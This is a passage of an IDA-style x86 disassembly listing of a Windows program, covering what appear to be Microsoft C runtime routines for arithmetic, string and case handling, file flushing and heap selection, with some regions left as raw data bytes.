		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB364
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C534, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB364, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2690DF2h
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C328
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB364, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2830000h
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 0A2h
; ---------------------------------------------------------------------------
		jmp	short loc_41D991
; ---------------------------------------------------------------------------
		dw 485Ah
		dd 0BFBACFD8h, 89021162h, 0A16446F1h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 4057E8E8h, 33900247h, 89D48AD2h
		dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh
		dd 440E856h
		db 0
; ---------------------------------------------------------------------------

loc_41D991:				; CODE XREF: ___:0041D934j
		add	[ecx-7Bh], bl
		sal	byte ptr [ebp+8], 6Ah
		sbb	al, 0E8h
		mov	al, 0
; ---------------------------------------------------------------------------
		dd 89590000h, 5BE8FC75h, 90000059h, 473FF4E8h, 0C94CA302h
		dd 19E8004Dh, 0A3000058h, 4DB318h, 55C2E8h, 5504E800h
		dd 0B9E80000h, 89FFFFDDh, 458DD075h, 0E89050A4h, 2472628h
		dd 5495E8h, 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h
		dd 50580A6Ah, 569C75FFh, 2B8FE856h, 50900228h, 0FE3820E8h
		dd 0A04589FFh, 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h
		dd 0D3E85150h, 59000052h, 658BC359h, 9875FFE8h,	0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB320, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2F0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB320
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC700
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2670909h
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2690DF2h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5E0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0589h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26E0570h
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 26802A6h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 492217E8h
		dd 0A3C08502h, 4DC944h,	93E83674h, 83FFFFFEh, 48A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0BBE8004Dh
		dd 9002482Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC944h
		dd 3A21BFE8h, 0C0859002h, 4DC93CA3h, 0C3017500h, 4244C8Bh
		dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h
		dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC938
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC93C
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
